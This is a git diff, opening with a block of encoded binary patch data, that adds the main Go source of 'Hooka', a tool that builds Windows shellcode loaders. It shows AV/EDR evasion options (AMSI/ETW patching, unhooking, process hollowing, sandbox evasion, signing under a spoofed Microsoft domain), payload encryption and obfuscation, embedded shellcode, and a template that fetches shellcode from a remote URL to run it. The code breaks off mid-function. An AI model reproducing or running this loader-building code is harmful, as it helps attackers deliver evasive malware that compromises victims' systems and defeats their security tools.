zrjD~D9N4R59;Yp$4BFr#str``R=;}L@loZLm<=V!L%Viw=xuI&OTsE<>+0*{*YHa} zlHH{-)Cdk_GlI7cc)Uu#P9n$_G9kf7dN5;kc|2;jMwjUjA`g64gh|J#wi4E1s2~+W zWc~R+zd!R;Kw7XUx%kg$)89pjUvR)gg1RS`)41_6g7M+TqmA)OWG#T=xTLnG&eG{q zp^i%_;X}V*=N|`&(VULeg5>fcL{VK!Zw~E#ZWexTx2+i|`@q%6-FRf< z@u2`%4e@QR7|fowHCwa%^U_z$mu|MZ_x(U&u(?sp=xvw<&`_a|W(G=aYYzFM4GnQ> z2Bb8T6xen{X1t12N~0R_TlM+kenEU4CO&el`?YnEyEA5`go>`;OyS!1%r%aJ-S&wq z>lZLzYDfM-OolO5W$~ew!M_8(&QxzqgGVC(@(&Dz2`UJE@;P*zg-MmLK)p-lWZ*h* z7^G-W=K(Rk^uGtJ|Jl4#-jW6nU;b1H2ao%o*eGz@ze8={@;}qW`M=-J2}AII69;4P z?|6T3`Ts52|M9X3Io~$K?AXNmDM*>6of+`1M@#HX|0qC^Kl3Ji&LcZQaesefr+H;xFiRzkKrl2e<#vv;Y7A diff --git a/cmd/main.go b/cmd/main.go new file mode 100644 index 0000000..64268d1 --- /dev/null +++ b/cmd/main.go @@ -0,0 +1,3607 @@ +package main + +import ( + "fmt" + "flag" + "os/exec" + "strings" + "os" + "io/ioutil" + "strconv" + "log" + "errors" + "bytes" + "time" + math_rand "math/rand" + "encoding/hex" + "text/template" + crypto_rand "crypto/rand" + "crypto/rsa" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + + "github.com/D3Ext/Hooka/utils" + "github.com/Binject/go-donut/donut" +) + +// define the template which will hold all the variables and function names +type LoaderTemplate struct { + Vars map[string]string +} + +// function to print the banner +func banner(){ + fmt.Println(" _ _ _ _") + fmt.Println(" | | | | ___ ___ | | __ __ _ | |") + fmt.Println(" | |_| | / _ \\ / _ \\ | |/ / / _` | | |") + fmt.Println(" | _ | | (_) | | (_) | | < | (_| | |_|") + fmt.Println(" |_| |_| \\___/ \\___/ |_|\\_\\ \\__,_| (_)") +} + +// function to print the help panel +func help_panel(){ + fmt.Println(` +Usage of Hooka: + REQUIRED: + -i, --input string payload to inject in raw format, as PE, as DLL or from a URL + -o, --output string name of output file (i.e. loader.exe) + -f, --format string format of the payload to generate (available: exe, dll) (default exe) + + EXECUTION: + --proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe) + --exec string technique used to load shellcode (default "SuspendedProcess"): + SuspendedProcess + ProcessHollowing + NtCreateThreadEx + EtwpCreateEtwThread + NtQueueApcThreadEx + No-RWX + + AUXILIARY: + -a, --arch string architecture of the loader to generate (default amd64) + -c, --cert string certificate to sign generated loader with (i.e. cert.pfx) + -d, --domain string domain used to sign loader (i.e. www.microsoft.com) + + ENCODING: + --enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none) + --sgn use Shikata Ga Nai to encode generated loader (it must be installed on path) + --strings obfuscate strings using Caesar cipher + + EVASION: + --unhook string unhooking technique to use (available: full, peruns) + --sandbox enable sandbox evasion + --no-amsi don't patch AMSI + --no-etw don't patch ETW + --hashing use hashes to retrieve function pointers + --acg enable ACG Guard to prevent AV/EDR from modifying existing executable code + --blockdlls prevent non-Microsoft signed DLLs from injecting in child processes + --phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step + --sleep delay shellcode execution using a custom sleep function + + EXTRA: + --calc use a calc.exe shellcode to test loader capabilities (don't provide input file) + --compress compress generated loader using Golang compiler and UPX if it's installed + -r, --rand use a random set of parameters to create a random loader (just for testing purposes) + -v, --verbose enable verbose to print extra information + -h, --help print help panel + +Examples: + hooka -i shellcode.bin -o loader.exe + hooka -i http://192.168.1.126/shellcode.bin -o loader.exe + hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg + hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose +`) +} + +// define shellcode injection techniques +// there are multiple names defined for every technique +// as the names may be a little bit confussing +var techniques []string = []string{"ntcreatethreadex", "ntcreatethread", "suspendedprocess", "etwpcreateetwthread", "processhollowing", "no-rwx", "nrwx", "norwx", "ntqueueapcthreadex"} + +var buffer bytes.Buffer + +func main() { + // define variables that will hold CLI arguments values + var input_file, output_file, format, arch, exec_technique, unhook, cert, domain, encrypt, process string + var sgn, str_obfs, sandbox, noamsi, noetw, hashing, acg, blockdlls, phantom, sleep_time, calc, compress, rand, verbose, help bool + + // Main arguments + flag.StringVar(&input_file, "i", "", "") + flag.StringVar(&input_file, "input", "", "") + flag.StringVar(&output_file, "o", "", "") + flag.StringVar(&output_file, "output", "", "") + flag.StringVar(&format, "f", "exe", "") + flag.StringVar(&format, "format", "exe", "") + flag.StringVar(&arch, "a", "amd64", "") + flag.StringVar(&arch, "arch", "amd64", "") + + // Executing shellcode + flag.StringVar(&exec_technique, "exec", "suspendedprocess", "") + flag.StringVar(&process, "proc", "C:\\Windows\\System32\\notepad.exe", "") + + // Auxiliary options + flag.StringVar(&cert, "c", "", "") + flag.StringVar(&cert, "cert", "", "") + flag.StringVar(&domain, "d", "", "") + flag.StringVar(&domain, "domain", "", "") + + // Encoding + flag.StringVar(&encrypt, "enc", "", "") + flag.BoolVar(&sgn, "sgn", false, "") + flag.BoolVar(&str_obfs, "strings", false, "") + + // Evasion + flag.StringVar(&unhook, "unhook", "", "") + flag.BoolVar(&sandbox, "sandbox", false, "") + flag.BoolVar(&noamsi, "no-amsi", false, "") + flag.BoolVar(&noetw, "no-etw", false, "") + flag.BoolVar(&hashing, "hashing", false, "") + flag.BoolVar(&acg, "acg", false, "") + flag.BoolVar(&blockdlls, "blockdlls", false, "") + flag.BoolVar(&phantom, "phantom", false, "") + flag.BoolVar(&sleep_time, "sleep", false, "") + + // Extra + flag.BoolVar(&calc, "calc", false, "") + flag.BoolVar(&compress, "compress", false, "") + flag.BoolVar(&rand, "r", false, "") + flag.BoolVar(&rand, "rand", false, "") + flag.BoolVar(&verbose, "v", false, "") + flag.BoolVar(&verbose, "verbose", false, "") + flag.BoolVar(&help, "h", false, "") + flag.BoolVar(&help, "help", false, "") + + // parse CLI arguments + flag.Parse() + + // check especified parameters values just to check no valid value was provided + if (help) { + banner() + help_panel() + os.Exit(0) + } + + // check if needed arguments were given + if (input_file == "") && (!calc) { + banner() + help_panel() + fmt.Println("[-] Provide a valid input file") + os.Exit(1) + } + + if (output_file == "") { + banner() + help_panel() + fmt.Println("[-] Provide an output file") + os.Exit(1) + } + + format = strings.ToLower(format) + + if (format != "exe") && (format != "dll") { + banner() + help_panel() + fmt.Println("[-] Invalid payload format. Available formats: exe, dll") + os.Exit(1) + } + + // check if file exists + _, input_err := os.Stat(input_file) + + if (strings.ToLower(encrypt) != "none") && (strings.ToLower(encrypt) != "") && (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) { + banner() + help_panel() + fmt.Println("[-] Encryption is not available when providing a URL as input") + os.Exit(1) + } + + if (sgn) && (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) { + banner() + help_panel() + fmt.Println("[-] Shikata Ga Nai is not available when providing a URL as input") + os.Exit(1) + } + + // Check architecture parameter + if (arch != "") && (arch != "amd64") && (arch != "386") { + fmt.Println("[-] Provide a valid architecture. Either amd64 or 386") + os.Exit(1) + } + + var valid_technique bool + for _, technique := range techniques { + if (strings.ToLower(exec_technique) == technique) { + valid_technique = true + break + } + } + + // Check valid values for shellcode execution technique + if (!valid_technique) { + banner() + help_panel() + fmt.Println("[-] Provide a valid shellcode execution technique. Default technique is \"SuspendedProcess\"") + os.Exit(1) + } + + exec_technique = strings.ToLower(exec_technique) + unhook = strings.ToLower(unhook) + format = strings.ToLower(format) + + // this shellcode execution technique needs unhooking + if (exec_technique == "suspendedprocess") { + unhook = "peruns" + } + + NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess := GetCallsNames() + + // Check valid values for encryption parameter + if (encrypt != "") && (strings.ToLower(encrypt) != "aes") && (strings.ToLower(encrypt) != "3des") && (strings.ToLower(encrypt) != "rc4") && (strings.ToLower(encrypt) != "xor") && (strings.ToLower(encrypt) != "none") { + fmt.Println("[-] Provide a valid encryption cipher. Available ciphers: aes, 3des, rc4, xor, none") + os.Exit(0) + } + + // Check valid values for unhooking parameter + if (unhook != "") && (unhook != "full") && (unhook != "peruns") { + fmt.Println("[-] Provide a valid unhooking technique. Available techniques: full, peruns") + os.Exit(1) + } + + if (cert != "") { + _, err := os.Stat(cert) + if (!errors.Is(err, os.ErrNotExist)) { + fmt.Println("[-] Provide an existing certificate") + os.Exit(1) + } + } + + // check if Shikata Ga Nai is installed on path + if (sgn) { + _, err := exec.LookPath("sgn") + if err != nil { + fmt.Println("[-] \"sgn\" is not installed on path, visit https://github.com/EgeBalci/sgn to install it") + log.Fatal(err) + } + } + + if (domain != "") || (cert != "") { + _, err := exec.LookPath("openssl") + if err != nil { + fmt.Println("[-] \"openssl\" is not installed on path, it is required to sign the generated loader") + log.Fatal(err) + } + + _, err = exec.LookPath("osslsigncode") + if err != nil { + fmt.Println("[-] \"osslsigncode\" is not installed on path, it is required to sign the generated loader") + log.Fatal(err) + } + } + + // Generate a random config if --rand parameter was given + if (rand) { + fmt.Println("[*] Generating a random set of parameters") + encrypt, unhook, noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, compress, sleep_time = GetRandomConfig() + } + + // print banner + banner() + fmt.Println() + + // define key variables + var imports []string + var exports []string + var functions []string + var dlls_to_unhook []string + var err error + + // Create template which will hold loader code + Main := &LoaderTemplate{} + // Define variables list + Main.Vars = make(map[string]string) + Main.Vars["shellcode"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["enc_shellcode"] = utils.RandomString(utils.RandomInt(9,10)) + + var func_name string + + if (format == "dll") { + func_name = utils.RandomString(utils.RandomInt(8, 10)) + } + + // Get shellcode from raw file, from PE or from DLL + if (!strings.HasPrefix(input_file, "http")) && (!errors.Is(input_err, os.ErrNotExist)) { + fmt.Println("[*] Obtaining shellcode from " + input_file) + } else { + if (!calc) { + fmt.Println("[*] Shellcode will be retrieved from " + input_file + " during execution") + } else { + fmt.Println("[*] Using calc.exe shellcode") + } + } + time.Sleep(100 * time.Millisecond) + + var shellcode []byte + var get_shellcode_from_url_func string + + if (!strings.HasSuffix(input_file, ".dll")) && (!strings.HasSuffix(input_file, ".exe") && (!calc) && (!strings.HasPrefix(input_file, "http"))) && (!errors.Is(input_err, os.ErrNotExist)) { + fmt.Println(" > Shellcode is in raw format") + time.Sleep(100 * time.Millisecond) + + shellcode, err = utils.GetShellcodeFromFile(input_file) + if err != nil { + log.Fatal(err) + } + + } else if (strings.HasSuffix(input_file, ".dll")) { + fmt.Println(" > Converting DLL to shellcode (sRDI)") + time.Sleep(100 * time.Millisecond) + + shellcode, err = utils.ConvertDllToShellcode(input_file, func_name, "") + if err != nil { + log.Fatal(err) + } + + } else if (strings.HasSuffix(input_file, ".exe")) { + fmt.Println(" > Converting EXE to shellcode using Donut") + time.Sleep(100 * time.Millisecond) + + config := new(donut.DonutConfig) + + switch strings.ToLower(arch) { + case "x32", "386": + config.Arch = donut.X32 + case "x84": + config.Arch = donut.X84 + default: + config.Arch = donut.X64 + } + + config.Bypass = 3 + config.Compress = uint32(1) + config.InstType = donut.DONUT_INSTANCE_PIC + + payload, err := donut.ShellcodeFromFile(input_file, config) + if err != nil { + log.Fatal(err) + } + + shellcode = payload.Bytes() + + } else if (calc) { + shellcode = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3} + + } else if (strings.HasPrefix(input_file, "http")) && (errors.Is(input_err, os.ErrNotExist)) { + + imports = utils.AppendSlice(imports, []string{"net/http", "io"}) // needed imports + + Main.Vars["get_shellcode_from_url_func"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["sc_url"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["req"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["client"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["resp"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["b"] = utils.RandomString(utils.RandomInt(9,10)) + + get_shellcode_from_url_func = ` +func {{.Vars.get_shellcode_from_url_func}}({{.Vars.sc_url}} string) ([]byte, error) { + {{.Vars.req}}, {{.Vars.err}} := http.NewRequest("GET", {{.Vars.sc_url}}, nil) + if {{.Vars.err}} != nil { + return nil, {{.Vars.err}} + } + + {{.Vars.req}}.Header.Set("Accept", "application/x-www-form-urlencoded") + {{.Vars.req}}.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36") + + {{.Vars.client}} := &http.Client{} + {{.Vars.resp}}, {{.Vars.err}} := {{.Vars.client}}.Do({{.Vars.req}}) + if {{.Vars.err}} != nil { + return nil, {{.Vars.err}} + } + defer {{.Vars.resp}}.Body.Close() + + {{.Vars.b}}, {{.Vars.err}} := io.ReadAll({{.Vars.resp}}.Body) + if {{.Vars.err}} != nil { + return nil, {{.Vars.err}} + } + + return {{.Vars.b}}, nil +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(get_shellcode_from_url_func, Main)) + } + + if (sgn) { + fmt.Println(" > Obfuscating shellcode with Shikata Ga Nai") + time.Sleep(100 * time.Millisecond) + + sgn_shellcode, err := ShikataGaNai(shellcode) + if err != nil { + fmt.Println(" > An error has ocurred while obfuscating shellcode, using provided shellcode") + } else { + shellcode = sgn_shellcode + } + } + + if (verbose) { + if (encrypt != "") && (strings.ToLower(encrypt) != "none") { + fmt.Println(" > Using " + strings.ToUpper(encrypt) + " to encrypt the shellcode") + } else { + fmt.Println(" > Shellcode encryption is currently disabled") + } + } + + fmt.Println() + time.Sleep(100 * time.Millisecond) + + if str_obfs { + // define variables + Main.Vars["caesar_encrypt_func"] = utils.RandomString(utils.RandomInt(9, 10)) + Main.Vars["caesar_decrypt_func"] = utils.RandomString(utils.RandomInt(9, 10)) + Main.Vars["plaintext"] = utils.RandomString(utils.RandomInt(8, 9)) + Main.Vars["shift"] = utils.RandomString(utils.RandomInt(8, 9)) + Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(8, 9)) + Main.Vars["char"] = utils.RandomString(utils.RandomInt(8, 9)) + + caesar_encrypt_func := ` +func {{.Vars.caesar_encrypt_func}}({{.Vars.plaintext}} string, {{.Vars.shift}} int) string { + {{.Vars.ciphertext}} := "" + + for _, {{.Vars.char}} := range {{.Vars.plaintext}} { + if {{.Vars.char}} >= 'A' && {{.Vars.char}} <= 'Z' { + {{.Vars.ciphertext}} += string(({{.Vars.char}}-'A'+rune({{.Vars.shift}}))%26 + 'A') + } else if {{.Vars.char}} >= 'a' && {{.Vars.char}} <= 'z' { + {{.Vars.ciphertext}} += string(({{.Vars.char}}-'a'+rune({{.Vars.shift}}))%26 + 'a') + } else { + {{.Vars.ciphertext}} += string({{.Vars.char}}) + } + } + + return {{.Vars.ciphertext}} +} +` + + caesar_decrypt_func := ` +func {{.Vars.caesar_decrypt_func}}({{.Vars.ciphertext}} string, {{.Vars.shift}} int) string { + return {{.Vars.caesar_encrypt_func}}({{.Vars.ciphertext}}, 26-{{.Vars.shift}}) +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(caesar_encrypt_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(caesar_decrypt_func, Main)) + } + + // Encrypt shellcode + var key []byte + var iv []byte + if (strings.ToLower(encrypt) == "aes") { // use AES encryption + key = []byte(utils.RandomString(32)) // generate 32 bytes random key + iv, err = utils.GenerateIV() // generate random IV + if err != nil { + log.Fatal(err) + } + + // encrypt shellcode + shellcode, err = utils.AESEncrypt(shellcode, iv, key) + if err != nil { + log.Fatal(err) + } + + imports = utils.AppendSlice(imports, []string{"crypto/aes", "crypto/cipher", "errors"}) // needed imports + + // define variables + Main.Vars["aes_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["iv"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["block"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ecb"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["content"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["aes_pkcs5trimming_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["encrypt"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["decrypted"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["padding"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10)) + + // define code using templates + aes_decrypt_func := ` +func {{.Vars.aes_decrypt_func}}({{.Vars.ciphertext}} []byte, {{.Vars.iv}} []byte, {{.Vars.key}} []byte) ([]byte, error) { + {{.Vars.block}}, {{.Vars.err}} := aes.NewCipher({{.Vars.key}}) + if {{.Vars.err}} != nil { + return nil, {{.Vars.err}} + } + + if len({{.Vars.ciphertext}}) == 0 { + return nil, errors.New(` + ObfuscateStr("ciphertext cannot be empty", str_obfs) + `) + } + + {{.Vars.ecb}} := cipher.NewCBCDecrypter({{.Vars.block}}, {{.Vars.iv}}) + {{.Vars.decrypted}} := make([]byte, len({{.Vars.ciphertext}})) + {{.Vars.ecb}}.CryptBlocks({{.Vars.decrypted}}, {{.Vars.ciphertext}}) + + return {{.Vars.aes_pkcs5trimming_func}}({{.Vars.decrypted}}), nil +} +` + + aes_pkcs5trimming_func := ` +func {{.Vars.aes_pkcs5trimming_func}}({{.Vars.encrypt}} []byte) []byte { + {{.Vars.padding}} := {{.Vars.encrypt}}[len({{.Vars.encrypt}})-1] + return {{.Vars.encrypt}}[:len({{.Vars.encrypt}})-int({{.Vars.padding}})] +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(aes_decrypt_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(aes_pkcs5trimming_func, Main)) + + } else if (strings.ToLower(encrypt) == "3des") { // use 3DES encryption + key = []byte(utils.RandomString(24)) // generate 32 bytes random key + shellcode, err = utils.TripleDesEncrypt(shellcode, key) // encrypt shellcode + if err != nil { + log.Fatal(err) + } + + imports = utils.AppendSlice(imports, []string{"crypto/cipher", "crypto/des"}) // needed imports + + // define variables + Main.Vars["tripledes_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["data"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["block"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["iv"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["origdata"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["decrypter"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["decrypted"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["tripledes_pkcs5trimming_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["encrypt"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["padding"] = utils.RandomString(utils.RandomInt(9,10)) + + // define code using templates + tripledes_decrypt_func := ` +func {{.Vars.tripledes_decrypt_func}}({{.Vars.data}}, {{.Vars.key}} []byte) ([]byte, error) { + {{.Vars.block}}, {{.Vars.err}} := des.NewTripleDESCipher({{.Vars.key}}) + if {{.Vars.err}} != nil { + return nil, {{.Vars.err}} + } + + {{.Vars.ciphertext}} := {{.Vars.key}} + {{.Vars.iv}} := {{.Vars.ciphertext}}[:des.BlockSize] + + {{.Vars.decrypter}} := cipher.NewCBCDecrypter({{.Vars.block}}, {{.Vars.iv}}) + + {{.Vars.decrypted}} := make([]byte, len({{.Vars.data}})) + {{.Vars.decrypter}}.CryptBlocks({{.Vars.decrypted}}, {{.Vars.data}}) + {{.Vars.decrypted}} = {{.Vars.tripledes_pkcs5trimming_func}}({{.Vars.decrypted}}) + + return {{.Vars.decrypted}}, nil +} +` + + tripledes_pkcs5trimming_func := ` +func {{.Vars.tripledes_pkcs5trimming_func}}({{.Vars.encrypt}} []byte) []byte { + {{.Vars.padding}} := {{.Vars.encrypt}}[len({{.Vars.encrypt}})-1] + return {{.Vars.encrypt}}[:len({{.Vars.encrypt}})-int({{.Vars.padding}})] +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(tripledes_decrypt_func, Main)) + functions = utils.AppendString(functions, ParseTemplate(tripledes_pkcs5trimming_func, Main)) + + } else if (strings.ToLower(encrypt) == "rc4") { // use RC4 encryption + key = []byte(utils.RandomString(32)) // generate 32 bytes random key + shellcode, err = utils.Rc4Encrypt(shellcode, key) // encrypt shellcode + if err != nil { + log.Fatal(err) + } + + imports = utils.AppendString(imports, "crypto/rc4") // needed imports + + // define variables + Main.Vars["rc4_decrypt_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["psk"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["r"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ciphertext"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["src"] = utils.RandomString(utils.RandomInt(9,10)) + + // define code using templates + rc4_decrypt_func := ` +func {{.Vars.rc4_decrypt_func}}({{.Vars.ciphertext}} []byte, {{.Vars.psk}} []byte) ([]byte, error) { + {{.Vars.r}}, {{.Vars.err}} := rc4.NewCipher({{.Vars.psk}}) + if {{.Vars.err}} != nil { + return nil, {{.Vars.err}} + } + + {{.Vars.src}} := make([]byte, len({{.Vars.ciphertext}})) + {{.Vars.r}}.XORKeyStream({{.Vars.src}}, []byte({{.Vars.ciphertext}})) + return {{.Vars.src}}, nil +} +` + + // append previous functions + functions = utils.AppendString(functions, ParseTemplate(rc4_decrypt_func, Main)) + + } else if (strings.ToLower(encrypt) == "xor") { // use XOR encoding + key = []byte(utils.RandomString(24)) // generate 24 bytes random key + shellcode = utils.Xor(shellcode, key) // encode shellcode + + // define variables + Main.Vars["xor_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["input"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["key"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["cipher"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["input"] = utils.RandomString(utils.RandomInt(9,10)) + + // define code using templates + xor_func := ` +func {{.Vars.xor_func}}({{.Vars.input}}, {{.Vars.key}} []byte) ({{.Vars.cipher}} []byte) { + for {{.Vars.i}} := 0; {{.Vars.i}} < len({{.Vars.input}}); {{.Vars.i}}++ { + {{.Vars.cipher}} = append({{.Vars.cipher}}, ({{.Vars.input}}[{{.Vars.i}}] ^ {{.Vars.key}}[{{.Vars.i}} % len({{.Vars.key}})])) + } + + return {{.Vars.cipher}} +} +` + + // append previous function + functions = utils.AppendString(functions, ParseTemplate(xor_func, Main)) + } + + // encoding logic ends here + + fmt.Println("[*] Defining evasion techniques...") + time.Sleep(100 * time.Millisecond) + + // define hashing algorithm + var hashing_func string + rand_num := utils.RandomInt(1,3) + + if (hashing) { + if (verbose) { + fmt.Println(" > Adding hashing functions...") + } + time.Sleep(100 * time.Millisecond) + + // define variables + Main.Vars["hashing_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["hash"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["str"] = utils.RandomString(utils.RandomInt(9,10)) + + if (rand_num == 1) { // use MD5 hashing + // algorithm is MD5 + imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/md5"}) + + hashing_func = ` +func {{.Vars.hashing_func}}({{.Vars.str}} string) string { + {{.Vars.hash}} := md5.Sum([]byte({{.Vars.str}})) + return hex.EncodeToString({{.Vars.hash}}[:]) +} +` + + } else if (rand_num == 2) { // use SHA1 hashing + // algorithm is SHA1 + imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/sha1"}) + + hashing_func = ` +func {{.Vars.hashing_func}}({{.Vars.str}} string) string { + {{.Vars.hash}} := sha1.Sum([]byte({{.Vars.str}})) + return hex.EncodeToString({{.Vars.hash}}[:]) +} +` + + } else if (rand_num == 3) { // use SHA256 hashing + // algorithm is SHA256 + imports = utils.AppendSlice(imports, []string{"encoding/hex", "crypto/sha256"}) + + hashing_func = ` +func {{.Vars.hashing_func}}({{.Vars.str}} string) string { + {{.Vars.hash}} := sha256.Sum256([]byte({{.Vars.str}})) + return hex.EncodeToString({{.Vars.hash}}[:]) +} +` + } + + // define structs + export_struct := ` +type Export struct { + Ordinal uint32 + Name string + VirtualAddress uint32 + Forward string +} +` + + export_dir_struct := ` +type ExportDirectory struct { + ExportFlags uint32 + TimeDateStamp uint32 + MajorVersion uint16 + MinorVersion uint16 + NameRVA uint32 + OrdinalBase uint32 + NumberOfFunctions uint32 + NumberOfNames uint32 + AddressTableAddr uint32 + NameTableAddr uint32 + OrdinalTableAddr uint32 + + DllName string +} +` + + // append needed exports and imports + exports = utils.AppendSlice(exports, []string{export_struct, export_dir_struct}) + imports = utils.AppendSlice(imports, []string{"debug/pe", "golang.org/x/sys/windows", "strings", "encoding/binary", "errors"}) + + // define variables + Main.Vars["get_func_ptr_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["get_string_func"] = utils.RandomString(utils.RandomInt(10,12)) + Main.Vars["dll"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["p"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["err"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["pe64"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ddLength"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["edd"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ds"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["s"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["d"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["exportDirOffset"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dxd"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dt"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ordinalTable"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dno"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dnn"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["n"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ord"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["nameRVA"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["dna"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["exports"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["i"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["ok"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["export"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["exp"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["section"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["start"] = utils.RandomString(utils.RandomInt(9,10)) + Main.Vars["end"] = utils.RandomString(utils.RandomInt(9,10)) + + // define code using templates + get_func_ptr_func := ` +func {{.Vars.get_func_ptr_func}}({{.Vars.hash}} string, {{.Vars.dll}} string, {{.Vars.hashing_func}} func({{.Vars.str}} string) string) (*windows.LazyProc, string, error) { + if (!strings.HasPrefix({{.Vars.dll}}, "C:\\")) { + {{.Vars.dll}} = ` + ObfuscateStr("C:\\Windows\\System32\\", str_obfs) + ` + {{.Vars.dll}} + } + + {{.Vars.p}}, {{.Vars.err}} := pe.Open({{.Vars.dll}}) + if {{.Vars.err}} != nil { + return &windows.LazyProc{}, "", {{.Vars.err}} + } + defer {{.Vars.p}}.Close() + + {{.Vars.pe64}} := {{.Vars.p}}.Machine == 0x8664 + var {{.Vars.ddLength}} uint32 + + if {{.Vars.pe64}} { + {{.Vars.ddLength}} = 